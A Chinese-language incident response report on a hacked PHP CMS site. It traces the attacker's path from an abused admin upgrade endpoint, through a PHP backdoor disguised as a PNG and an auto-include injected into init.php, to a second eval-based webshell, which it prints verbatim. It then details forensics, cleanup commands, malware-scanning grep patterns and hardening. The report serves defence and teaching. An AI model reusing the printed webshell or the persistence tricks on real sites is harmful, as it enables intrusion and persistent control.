一、攻击者的入侵路径(时间线正序)
1. 初始入口:利用 CMS 后台升级功能上传恶意文件
-
时间 :
2026-05-27 11:40:54 -
入口 :
/szadmin.php?p=/Upgrade/down&list=/1531651052464522.png -
行为:攻击者通过 CMS 后台的"升级/下载"接口,将伪装成 PNG 图片的 PHP 后门文件写入服务器静态目录。
-
关键点:这个接口可能存在任意文件下载/上传漏洞,或者攻击者已获取后台管理员权限,能够使用合法功能上传文件。
2. 部署持久化后门(图片马)
-
文件名 :
1531651052464522.png -
内容:一个完整的 PHP WebShell,包含动态密码验证和代码执行功能。
-
位置 :
/static/upload/image/20180715/(静态上传目录,Web 可访问) -
目的:上传一个隐蔽的后门文件,作为长期控制入口。
3. 篡改核心文件,实现自动加载
-
同一分钟(11:40),攻击者修改了三个文件:
-
/core/init.php:插入@include(dirname(__FILE__) . '/../static/upload/image/20180715/1531651052464522.png'); -
/core/view/View.php:被篡改(可能有进一步恶意代码) -
/core/basic/Check.php:被植入混淆 JavaScript,加载假 CDN 域名
-
-
效果:网站每次初始化都会自动包含图片后门,即使攻击者不主动访问,后门也会随系统运行而加载。
4. 静默潜伏期(约 1.5 个月)
-
从
2026-05-27到2026-07-08,攻击者没有触发主木马,可能:-
等待更多站点被感染
-
利用后门进行信息收集
-
仅保持持久化,伺机而动
-
5. 投放第二层 WebShell(66 字节小马)
-
时间 :
2026-07-08 03:19:05 -
文件名 :
/core/template/bzze4ztt.php -
内容 :
<?php eval(base64_decode(base64_decode($_POST["ant"])));?>helloxzx -
目的:作为紧急执行入口,无需依赖图片马,可直接通过 POST 参数执行任意 PHP 代码。
6. 探测与执行
-
03:19:06 → GET 请求,页面返回
helloxzx,确认木马可访问。 -
03:22:02 → POST 请求,通过
ant参数传递双层 base64 编码的代码,试图读写/core/init.php。 -
日志报错 :
file_get_contents(core/init.php)失败(相对路径问题),但后续成功修改了init.php(可能是修正路径后重试)。
二、防守方的应急响应思路(按操作顺序)
阶段一:发现与确认
-
收到阿里云告警 → 定位可疑文件
bzze4ztt.php。 -
查看文件状态 (
stat)→ 确认创建时间、属主、大小。 -
查访问日志 (
grep)→ 找到 GET/POST 请求记录,确认是活跃木马。 -
分析代码内容 → 识别出双层 base64 解码 + eval 的执行方式,以及探测标记
helloxzx。 -
查看错误日志 → 发现攻击者试图读写
core/init.php,说明其目标是植入持久化后门。
阶段二:深入排查
-
检查
init.php→ 发现pack('H*', ...)包含的十六进制字符串,解码后指向图片文件1531651052464522.png。 -
分析图片文件 → 发现它不是图片,而是 PHP 后门代码(含动态密码)。
-
查看图片文件元数据 → 创建于 2026-05-27,早于 WebShell 一个多月。
-
查图片上传日志 → 发现通过
/szadmin.php?p=/Upgrade/down上传,确认初始入侵点。 -
时间关联查找 → 用
find搜索同一时间段的修改文件,发现View.php和Check.php也被篡改。 -
分析
Check.php→ 发现混淆 JS,加载假 CDN 域名cdn.jsdclivir.com,确认是恶意注入。
阶段三:隔离与清除
-
隔离可疑文件 (
chmod 000)→ 阻止继续执行,保留证据。 -
备份证据 → 复制到隔离目录
/root/malware-quarantine/。 -
删除后门文件 (
rm -f)→ 清除bzze4ztt.php和图片马。 -
恢复核心文件 → 从干净版本覆盖
init.php、Check.php、View.php,或手工清理注入代码。
阶段四:全面检测与加固
-
扫描全站 PHP 文件 (
grep特征函数)→ 查找其他可能的隐藏后门。 -
检索特定关键词(木马名、域名、探测标记)→ 定位所有相关痕迹。
-
追溯攻击 IP (
grep日志)→ 找出攻击者 IP 及其所有请求,评估影响范围。 -
查找近期新增 PHP 文件 (
find)→ 发现可能遗漏的 shell。 -
权限最小化:
-
核心目录属主改为
root:root,权限 755(不可写)。 -
运行目录和上传目录保留
www:www可写。
-
-
禁用静态目录执行 PHP(Nginx 规则)→ 即使上传木马也无法执行。
-
检查计划任务 (
crontab)→ 排除定时后门。 -
检查异常进程 (
ps)→ 排除挖矿、远控等。
阶段五:长期加固
-
升级 CMS 到最新版,修复上传/升级漏洞。
-
修改所有相关密码:后台管理员、数据库、面板、FTP/SSH。
-
更改后台入口文件名 (如
szadmin.php改名)。 -
审查管理员账号,删除异常账号。
三、攻击者的策略思路分析
| 策略 | 具体手法 | 目的 |
|---|---|---|
| 多层后门 | 图片马(长期持久)+ 小 WebShell(快捷执行) | 提高生存能力,一个被发现还有另一个 |
| 伪装成图片 | .png 文件包含 PHP 代码,通过 include 执行 |
绕过文件类型检查,躲过文件扫描 |
| 隐藏调用 | 在 init.php 中插入 @include,每次请求自动加载 |
无需外部访问,自动执行后门 |
| 动态密码 | 基于访问者 IP 的 MD5 后 8 位作为参数名 | 防止被扫描器或他人触发,只允许自己使用 |
| 版本兼容 | 判断 PHP 版本,使用不同执行方式(mb_ereg_replace 或 eval) |
适配不同 PHP 版本,提高通用性 |
| 代码混淆 | 十六进制编码路径、混淆 JS | 增加分析难度,延迟被发现 |
| 时间跨度 | 先植入持久化后门,一个月后再使用 | 避开早期排查,降低被发现的概率 |
| 利用合法接口 | 通过 CMS 升级功能上传文件 | 不直接上传恶意文件,减少触发安全策略 |
四、防守方的教训与改进
暴露的问题
-
Web 用户权限过大 :
www:www能写入核心代码目录 → 攻击者可以篡改init.php等关键文件。 -
上传目录可执行 PHP :静态目录允许解析
.php文件 → 图片马可直接作为 PHP 执行。 -
CMS 存在未修复漏洞:升级接口存在任意文件上传/下载漏洞。
-
日志监控不足:近两个月内,图片马没有被及时发现。
-
密码/凭据可能泄露:攻击者能登录后台,说明管理员密码可能已被获取。
改进措施(已在文档中实施)
-
权限分离(核心文件只读,仅运行/上传目录可写)。
-
禁止上传目录执行 PHP。
-
全面扫描并更新 CMS。
-
更改所有密码和入口。
-
增加日志告警机制。
五、完整攻击链图(文字版)
text
初始入口(CMS升级功能) ↓ 上传伪装图片后门(图片马) ↓ 篡改 init.php,自动 include 图片马(持久化) ↓ 篡改 View.php、Check.php(备选后门/混淆) ↓ 潜伏 1.5 个月 ↓ 投放小 WebShell(bzze4ztt.php) ↓ 访问探测(GET),确认存活 ↓ POST 执行代码,试图修改 init.php(强化持久化) ↓ 触发阿里云告警 ↓ 防守方介入,开始排查 ↓ 逐层清除 + 加固
六、关键命令提取与解析
下面按文档出现的顺序,列出所有关键命令,说明其用途及执行结果的含义。
| 命令 | 用途 | 结果/输出含义 |
|---|---|---|
sudo stat /www/xxx/xxx/core/template/bzze4ztt.php |
查看文件元数据(大小、权限、时间戳) | 显示文件大小 66 字节,属主 www:www,创建/修改时间 2026-07-08 03:19:05,证明该文件是近期被创建的 |
sudo grep -R "bzze4ztt.php" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null |
在所有 Web 日志目录中递归搜索包含该文件名的记录 | 找到 GET 和 POST 请求日志,证明攻击者访问并执行了该木马 |
sudo grep -R "POST /core/template/bzze4ztt.php" /www/wwwlg/nginx /var/log/apache2 2>/dev/null |
专门搜索 POST 请求日志 | 发现 FastCGI 错误日志,其中包含 file_get_contents 和 file_put_contents 的报错,说明攻击者通过木马执行了文件读写操作 |
pack('H*','2f2e2e2f7374617469632f75706c6f61642f696d6167652f32303138303731352f313533313635313035323436343532322e706e67') |
解码十六进制字符串(PHP 代码) | 得到路径 /../static/upload/image/20180715/1531651052464522.png,揭示了隐藏的图片后门 |
sudo stat /www/xxx/xxx/xxx/xxx/xxx/20180715/1531651052464522.png |
查看图片后门文件元数据 | 创建于 2026-05-27 11:40:54,属主 www:www,证明该文件早于 WebShell 被植入 |
sudo grep -R "1531651052464522.png" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null |
搜索该图片文件的访问日志 | 找到一条 GET 请求,路径为 /szadmin.php?p=/Upgrade/down&list=/1531651052464522.png,说明攻击者通过后台升级功能上传了该文件 |
sudo find /www/xxx/xxx -type f -newermt "2026-05-27 11:30:00" ! -newermt "2026-05-27 12:00:00" -ls |
查找指定时间段内修改过的文件 | 列出 3 个文件:伪装图片、View.php、Check.php,证明同一时间多个核心文件被篡改 |
sudo chmod 000 /www/xxx/xxx/core/template/bzze4ztt.php |
移除木马文件的所有权限(读、写、执行) | 隔离文件,使其无法被 Web 进程访问或执行 |
sudo mkdir -p /root/malware-quarantine/20260721 及后续 cp -a |
创建隔离目录并备份可疑文件 | 保留证据用于后续分析或报告 |
sudo rm -f ... |
强制删除后门文件 | 清除木马,但需先备份 |
| `sudo grep -RIn --include="*.php" -E "eval( | assert( | base64_decode |
| `sudo grep -RIn "bzze4ztt.php | 1531651052464522.png | cdn.jsdclivir.com |
sudo grep -R "209.9.201.21" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null |
搜索特定攻击 IP 的访问记录 | 查看该 IP 的所有请求,帮助追溯攻击路径 |
sudo find /www/xxx/xxx -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.phar" \) -mtime -60 -ls |
查找最近 60 天内新建或修改的 PHP 类文件 | 发现近期新增的可疑脚本 |
sudo chown -R root:root /www/xxx/xxx/core |
将核心代码目录属主改为 root | 阻止 Web 进程(www)写入核心文件,提升安全性 |
sudo chmod -R 755 /www/xxx/xxx/core |
设置目录权限为 755(rwxr-xr-x) | Web 用户可读和执行,但不可写(除非目录本身可写) |
sudo chown -R www:www /www/xxx/xxx/runtime 和 .../static/upload |
将可写目录(缓存、上传)属主改为 www | 允许 Web 进程正常写入运行缓存和用户上传 |
| 后续 Nginx 配置:`location ~* ^/static/upload/.*.(php | ...)$ { deny all; }` | 禁止上传目录中的 PHP 文件被执行 |
sudo crontab -l 等 |
查看计划任务 | 检查是否有恶意定时任务(后门守护) |
| `ps aux | grep -E "php | wget |
七、命令操作导致的结果及其含义
-
stat→ 确认文件时间戳,建立时间线,判断入侵发生时间。 -
grep日志 → 确认攻击者访问行为,还原攻击手法(GET 探测 → POST 执行 → 读写文件)。 -
pack解码 → 发现隐藏的图片后门,理解持久化手段。 -
find按时间查找 → 定位同批次被篡改的其他文件,扩大排查范围。 -
chmod 000→ 立即隔离,防止继续执行,但保留了文件用于分析。 -
chown / chmod权限调整 → 最小化权限,防止 Web 用户写入核心代码,是长期加固措施。 -
Nginx 规则 → 即使有漏网之鱼,也禁止在 upload 目录执行 PHP,阻断后续攻击。
-
crontab/ps检查 → 排查后门持久化机制(如定时反弹 Shell、挖矿进程)。
八、相关工具/命令简略使用手册
1. stat -- 查看文件详细状态
bash
stat [选项] 文件 常用选项:-c 格式化输出(如 %y 修改时间) 示例:stat -c %y /path/to/file # 只显示修改时间
用途:获取文件大小、权限、属主、三个时间戳(访问/修改/状态改变)和创建时间(Birth),用于溯源。
2. grep -- 文本搜索
bash
grep [选项] 模式 [文件/目录] 常用选项: -R 递归搜索目录 -i 忽略大小写 -n 显示行号 -l 只显示文件名 -E 扩展正则 -v 反向匹配 示例:grep -RIn "eval" /var/www/html/
用途:在日志或代码中查找恶意特征、特定 IP 或文件名。
3. find -- 查找文件
bash
find [路径] [条件] [动作] 常用条件: -name "*.php" 按文件名 -type f 只查文件 -mtime -7 修改时间在 7 天内 -newermt "2023-01-01" 比指定时间新 -perm 644 按权限 动作:-ls 列出详细信息,-exec 执行命令 示例:find /www -type f -name "*.php" -mtime -1 -ls
用途:定位近期新增或修改的可疑文件。
4. chmod -- 修改权限
bash
chmod [权限] 文件/目录 常用:数字法 755 (rwxr-xr-x), 644 (rw-r--r--), 000 (---------) 示例:chmod 000 malicious.php # 禁止任何访问
用途:隔离木马,限制 Web 用户写入。
5. chown -- 修改属主
bash
chown [用户:组] 文件/目录 -R 递归修改 示例:chown -R root:root /var/www/core
用途:将核心代码属主改为 root,防止 www 用户篡改。
6. crontab -- 计划任务管理
bash
crontab -l # 列出当前用户的任务 crontab -u www -l # 列出指定用户的任务 crontab -e # 编辑任务
用途:检查是否有恶意定时任务(如反弹 shell、下载器)。
7. ps -- 进程查看
bash
ps aux # 显示所有进程(详细) ps aux | grep php # 过滤 PHP 进程 ps -ef # 另一种格式
用途:发现异常进程(挖矿、后门、远程控制)。
8. nginx 配置 -- 禁止目录执行 PHP
nginx
location ~* ^/static/upload/.*\.(php|php5|phtml|phar|shtml)$ { deny all; }
或者更严格:
nginx
location ^~ /static/upload/ { location ~ \.php$ { deny all; } }
用途:防止上传目录中的恶意 PHP 文件被解析执行。
九、总结
这次入侵事件并非单一漏洞利用,而是一次有组织的、多阶段、多后门、持久化的攻击。攻击者:
-
利用了 CMS 后台升级功能(可能是逻辑漏洞或凭据泄露);
-
上传了难以被发现的图片马;
-
通过篡改核心初始化文件,实现了自动加载;
-
后续又添加了第二层 WebShell 作为备用执行入口;
-
整个过程持续近两个月,直到木马被触发执行时才被发现。
防守方的成功之处在于:
-
及时响应云平台告警;
-
没有只删除表象文件,而是溯源到根因;
-
进行了全盘扫描和权限加固;
-
最后实施了全面的密码更新和系统升级。
这起事件生动地说明:应急响应不是删一个文件就完事,而是要还原入侵路径、清除所有隐藏后门、修复漏洞并加固系统,才能真正消除隐患。